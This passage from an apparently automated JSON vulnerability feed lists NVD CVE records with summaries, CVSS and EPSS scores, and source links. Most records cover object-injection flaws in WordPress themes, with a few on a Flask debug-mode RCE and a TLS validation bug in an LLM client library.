publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112859&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112859, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112858","cveId":"CVE-2026-112858","aliases":[],"kind":"vulnerability","title":"Deserialization of Untrusted Data vulnerability in axiomthemes Rhodos rhodos allows Object Injection.This issue affects Rhodos: from n/a through 1.3.3.","summary":"Deserialization of Untrusted Data vulnerability in axiomthemes Rhodos rhodos allows Object Injection.This issue affects Rhodos: from n/a through 1.3.3.","detail":"Deserialization of Untrusted Data vulnerability in axiomthemes Rhodos rhodos allows Object Injection.This issue affects Rhodos: from n/a through 1.3.3.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:07.573Z","updatedAt":"2026-10-24T15:17:08.570Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112858","asOf":"2026-10-24T15:17:08.570Z"},"epss":{"probability":0.00313,"percentile":0.24007,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112858&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112858","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112858","type":"primary","publishedAt":"2026-10-23T13:17:07.573Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112858&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112858, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112857","cveId":"CVE-2026-112857","aliases":[],"kind":"vulnerability","title":"Deserialization of Untrusted Data vulnerability in axiomthemes Reprizo reprizo allows Object Injection.This issue affects Reprizo: from n/a through 1.0.8.","summary":"Deserialization of Untrusted Data vulnerability in axiomthemes Reprizo reprizo allows Object Injection.This issue affects Reprizo: from n/a through 1.0.8.","detail":"Deserialization of Untrusted Data vulnerability in axiomthemes Reprizo reprizo allows Object Injection.This issue affects Reprizo: from n/a through 1.0.8.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:07.447Z","updatedAt":"2026-10-23T16:06:31.143Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112857","asOf":"2026-10-23T16:06:31.143Z"},"epss":{"probability":0.00408,"percentile":0.34773,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112857&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112857","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112857","type":"primary","publishedAt":"2026-10-23T13:17:07.447Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112857&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112857, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112856","cveId":"CVE-2026-112856","aliases":[],"kind":"vulnerability","title":"Deserialization of Untrusted Data vulnerability in ThemeREX Group Vagabonds vagabonds allows Object Injection.This issue affects Vagabonds: from n/a through 1.3.10.","summary":"Deserialization of Untrusted Data vulnerability in ThemeREX Group Vagabonds vagabonds allows Object Injection.This issue affects Vagabonds: from n/a through 1.3.10.","detail":"Deserialization of Untrusted Data vulnerability in ThemeREX Group Vagabonds vagabonds allows Object Injection.This issue affects Vagabonds: from n/a through 1.3.10.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:07.323Z","updatedAt":"2026-10-24T15:17:07.413Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112856","asOf":"2026-10-24T15:17:07.413Z"},"epss":{"probability":0.00313,"percentile":0.24006,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112856&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112856","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112856","type":"primary","publishedAt":"2026-10-23T13:17:07.323Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112856&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112856, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112855","cveId":"CVE-2026-112855","aliases":[],"kind":"vulnerability","title":"Deserialization of Untrusted Data vulnerability in axiomthemes Redy redy allows Object Injection.This issue affects Redy: from n/a through 1.3.5.","summary":"Deserialization of Untrusted Data vulnerability in axiomthemes Redy redy allows Object Injection.This issue affects Redy: from n/a through 1.3.5.","detail":"Deserialization of Untrusted Data vulnerability in axiomthemes Redy redy allows Object Injection.This issue affects Redy: from n/a through 1.3.5.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:07.197Z","updatedAt":"2026-10-24T15:17:05.780Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112855","asOf":"2026-10-24T15:17:05.780Z"},"epss":{"probability":0.00313,"percentile":0.24006,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112855&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112855","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112855","type":"primary","publishedAt":"2026-10-23T13:17:07.197Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112855&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112855, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112854","cveId":"CVE-2026-112854","aliases":[],"kind":"vulnerability","title":"Deserialization of Untrusted Data vulnerability in axiomthemes Holistic Center holistic-center allows Object Injection.This issue affects Holistic Center: from n/a through 1.2.6.","summary":"Deserialization of Untrusted Data vulnerability in axiomthemes Holistic Center holistic-center allows Object Injection.This issue affects Holistic Center: from n/a through 1.2.6.","detail":"Deserialization of Untrusted Data vulnerability in axiomthemes Holistic Center holistic-center allows Object Injection.This issue affects Holistic Center: from n/a through 1.2.6.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:07.070Z","updatedAt":"2026-10-24T15:17:04.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112854","asOf":"2026-10-24T15:17:04.150Z"},"epss":{"probability":0.00313,"percentile":0.24005,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112854&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112854","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112854","type":"primary","publishedAt":"2026-10-23T13:17:07.070Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112854&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112854, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112853","cveId":"CVE-2026-112853","aliases":[],"kind":"vulnerability","title":"Deserialization of Untrusted Data vulnerability in axiomthemes Hallelujah hallelujah allows Object Injection.This issue affects Hallelujah: from n/a through 1.1.1.","summary":"Deserialization of Untrusted Data vulnerability in axiomthemes Hallelujah hallelujah allows Object Injection.This issue affects Hallelujah: from n/a through 1.1.1.","detail":"Deserialization of Untrusted Data vulnerability in axiomthemes Hallelujah hallelujah allows Object Injection.This issue affects Hallelujah: from n/a through 1.1.1.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:06.940Z","updatedAt":"2026-10-23T16:06:31.143Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112853","asOf":"2026-10-23T16:06:31.143Z"},"epss":{"probability":0.00408,"percentile":0.34772,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112853&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112853","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112853","type":"primary","publishedAt":"2026-10-23T13:17:06.940Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112853&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112853, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112851","cveId":"CVE-2026-112851","aliases":[],"kind":"vulnerability","title":"Deserialization of Untrusted Data vulnerability in ThemeREX Group HotLock hotlock allows Object Injection.This issue affects HotLock: from n/a through 1.3.9.","summary":"Deserialization of Untrusted Data vulnerability in ThemeREX Group HotLock hotlock allows Object Injection.This issue affects HotLock: from n/a through 1.3.9.","detail":"Deserialization of Untrusted Data vulnerability in ThemeREX Group HotLock hotlock allows Object Injection.This issue affects HotLock: from n/a through 1.3.9.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:06.697Z","updatedAt":"2026-10-24T15:17:02.177Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112851","asOf":"2026-10-24T15:17:02.177Z"},"epss":{"probability":0.00313,"percentile":0.24006,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112851&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112851","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112851","type":"primary","publishedAt":"2026-10-23T13:17:06.697Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112851&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112851, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112848","cveId":"CVE-2026-112848","aliases":[],"kind":"vulnerability","title":"Deserialization of Untrusted Data vulnerability in AivahThemes Hostme v2 hostmev2 allows Object Injection.This issue affects Hostme v2: from n/a through 7.0.","summary":"Deserialization of Untrusted Data vulnerability in AivahThemes Hostme v2 hostmev2 allows Object Injection.This issue affects Hostme v2: from n/a through 7.0.","detail":"Deserialization of Untrusted Data vulnerability in AivahThemes Hostme v2 hostmev2 allows Object Injection.This issue affects Hostme v2: from n/a through 7.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:06.310Z","updatedAt":"2026-10-24T15:17:00.233Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112848","asOf":"2026-10-24T15:17:00.233Z"},"epss":{"probability":0.00313,"percentile":0.24007,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112848&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112848","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112848","type":"primary","publishedAt":"2026-10-23T13:17:06.310Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112848&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112848, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112847","cveId":"CVE-2026-112847","aliases":[],"kind":"vulnerability","title":"Deserialization of Untrusted Data vulnerability in ThemeREX ZenSoul zensoul allows Object Injection.This issue affects ZenSoul: from n/a through 1.13.","summary":"Deserialization of Untrusted Data vulnerability in ThemeREX ZenSoul zensoul allows Object Injection.This issue affects ZenSoul: from n/a through 1.13.","detail":"Deserialization of Untrusted Data vulnerability in ThemeREX ZenSoul zensoul allows Object Injection.This issue affects ZenSoul: from n/a through 1.13.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:06.190Z","updatedAt":"2026-10-24T15:16:59.300Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112847","asOf":"2026-10-24T15:16:59.300Z"},"epss":{"probability":0.00313,"percentile":0.24008,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112847&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112847","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112847","type":"primary","publishedAt":"2026-10-23T13:17:06.190Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112847&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112847, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112846","cveId":"CVE-2026-112846","aliases":[],"kind":"vulnerability","title":"Deserialization of Untrusted Data vulnerability in ThemeREX Group Save Life save-life allows Object Injection.This issue affects Save Life: from n/a through 1.2.14.","summary":"Deserialization of Untrusted Data vulnerability in ThemeREX Group Save Life save-life allows Object Injection.This issue affects Save Life: from n/a through 1.2.14.","detail":"Deserialization of Untrusted Data vulnerability in ThemeREX Group Save Life save-life allows Object Injection.This issue affects Save Life: from n/a through 1.2.14.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:06.057Z","updatedAt":"2026-10-24T15:16:58.373Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112846","asOf":"2026-10-24T15:16:58.373Z"},"epss":{"probability":0.00313,"percentile":0.24007,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112846&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112846","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112846","type":"primary","publishedAt":"2026-10-23T13:17:06.057Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112846&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112846, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115727","cveId":"CVE-2026-115727","aliases":[],"kind":"vulnerability","title":"AgenticSeek before commit 409840c contains a remote code execution vulnerability because llm_server/app.py hardcodes Flask debug mode while binding to all interfaces.","summary":"AgenticSeek before commit 409840c contains a remote code execution vulnerability because llm_server/app.py hardcodes Flask debug mode while binding to all interfaces. Attackers who reach the server port and obtain the derivable Werkzeug debugger PIN can execute Python code and operating system commands with llm_server privileges.","detail":"AgenticSeek before commit 409840c contains a remote code execution vulnerability because llm_server/app.py hardcodes Flask debug mode while binding to all interfaces. Attackers who reach the server port and obtain the derivable Werkzeug debugger PIN can execute Python code and operating system commands with llm_server privileges.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T12:18:13.560Z","updatedAt":"2026-10-23T15:17:30.460Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115727","asOf":"2026-10-23T15:17:30.460Z"},"epss":{"probability":0.00699,"percentile":0.52867,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115727&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115727","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115727","type":"primary","publishedAt":"2026-10-23T12:18:13.560Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115727&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115727, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-107685","cveId":"CVE-2026-107685","aliases":[],"kind":"vulnerability","title":"Improper Certificate Validation vulnerability in the WebSocket streaming client in agentjido req_llm allows an on-path attacker to read and modify OpenAI WebSocket sessions,...","summary":"Improper Certificate Validation vulnerability in the WebSocket streaming client in agentjido req_llm allows an on-path attacker to read and modify OpenAI WebSocket sessions, including the authorization bearer token, via a TLS certificate the client does not trust. ReqLLM.Streaming.WebSocketSession.Client.start/3 in lib/req_llm/streaming/web_socket_session/client.ex starts WebSockex without TLS options, and WebSockex defaults to insecure: true, which connects with verify: :verify_none. The option allowlist also drops any caller-supplied cacerts or ssl_options, so an application cannot turn verification on.\n\nThe OpenAI Responses, Realtime, and Codex WebSocket paths reach this client and send the API key or OAuth access token in the authorization header. HTTP streaming through Finch and the HTTP/2 duplex session through Mint verify certificates and are not affected.\n\nThis issue affects req_llm: from 1.9.0 before 1.29.0.","detail":"Improper Certificate Validation vulnerability in the WebSocket streaming client in agentjido req_llm allows an on-path attacker to read and modify OpenAI WebSocket sessions, including the authorization bearer token, via a TLS certificate the client does not trust. ReqLLM.Streaming.WebSocketSession.Client.start/3 in lib/req_llm/streaming/web_socket_session/client.ex starts WebSockex without TLS options, and WebSockex defaults to insecure: true, which connects with verify: :verify_none. The option allowlist also drops any caller-supplied cacerts or ssl_options, so an application cannot turn verification on.\n\nThe OpenAI Responses, Realtime, and Codex WebSocket paths reach this client and send the API key or OAuth access token in the authorization header. HTTP streaming through Finch and the HTTP/2 duplex session through Mint verify certificates and are not affected.\n\nThis issue affects req_llm: from 1.9.0 before 1.29.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 